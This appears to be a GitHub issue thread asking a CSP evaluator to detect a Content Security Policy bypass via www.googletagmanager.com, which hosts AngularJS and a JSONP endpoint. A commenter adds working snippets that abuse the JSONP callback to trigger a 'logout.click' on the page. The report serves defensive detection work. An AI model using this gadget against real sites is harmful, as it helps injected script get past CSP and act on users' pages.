www.googletagmanager.com does not need unsafe-eval for CSP bypass

[masatokinugawa]

Currently the evaluator believes that a bypass via www.googletagmanager.com requires unsafe-eval.
However, this endpoint hosts AngularJS: https://www.googletagmanager.com/debug/badge
Also, this endpoint returns JSONP: https://www.googletagmanager.com/debug/api/vtinfo?gtm_auth=xFSd[...]&env_id=env-3&public_id=GTM-[GTMID_HERE]&templates=&callback=element.click
Therefore, actually unsafe-eval is not needed.
Since Google Tag Manager is a very popular tool, I think it would be better if this bypass was detected.

[Eccenux]

This works:

appendScript(`https://www.googletagmanager.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=`
 +encodeURIComponent(`logout.click`));

This doesn't work:

appendScript(`https://www.googletagmanager.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=`
 +encodeURIComponent(`logout-button.click`));

Probably a good idea to avoid id's on your page, but if you must add dashes 🙃